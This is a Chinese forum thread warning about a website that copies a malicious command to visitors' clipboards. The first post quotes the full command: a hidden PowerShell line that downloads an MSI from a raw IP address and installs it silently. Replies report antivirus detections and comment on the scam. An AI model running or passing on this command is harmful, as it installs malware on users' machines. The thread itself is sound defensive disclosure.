一个会自动复制到剪切板的东西

显示全部楼层 · 发表于 2024-11-8 21:37:14

hxxps://qqarq.org/

cmd /c start /min powershell $path='c:\users\public\5.msi';iwr http://185.121.232.206/1.e -outfile $path; start-process msiexec.exe -ArgumentList '/i', $path, '/quiet', '/norestart' -Wait; start-process 'https://t.ly/zU-Ub';

复制代码

显示全部楼层 · 发表于 2024-11-8 22:08:21

本帖最后由御坂14857号于 2024-11-8 22:18 编辑

网站已上报Google和卡巴

msi文件卡巴opentip检出：https://opentip.kaspersky.com/4BC328954EFDA78FD94DBB373B6C76C67B0158502C0D06982BA9B644B077D577/

显示全部楼层 · 发表于 2024-11-8 22:17:14

御坂14857号发表于 2024-11-8 22:08
网站已上报Google和卡巴

这太抽象了

显示全部楼层 · 发表于 2024-11-8 22:22:24

Komeiji-Reimu 发表于 2024-11-8 22:17
这太抽象了

不得不说，这种骗术对电脑小白来说还真认不出来

显示全部楼层 · 发表于 2024-11-8 22:32:57

流量扫描已检测到威胁。已拒绝访问网页。185.121.232.206/1.e 包含类型为云病毒的恶意软件

显示全部楼层 · 发表于 2024-11-8 22:46:07

搞定

显示全部楼层 · 发表于 2024-11-9 01:19:53

我想了半天，好像avast昨天刚给我推送这种"骗术"的科普

显示全部楼层 · 发表于 2024-11-9 09:30:20

御坂14857号发表于 2024-11-8 22:22
不得不说，这种骗术对电脑小白来说还真认不出来

人脑杀毒比什么杀毒软件都要好

显示全部楼层 · 发表于 2024-11-9 12:14:09

搞定

显示全部楼层 · 发表于 2024-11-9 13:45:52

命令运行~等一会卡巴UDS杀

[已鉴定] 一个会自动复制到剪切板的东西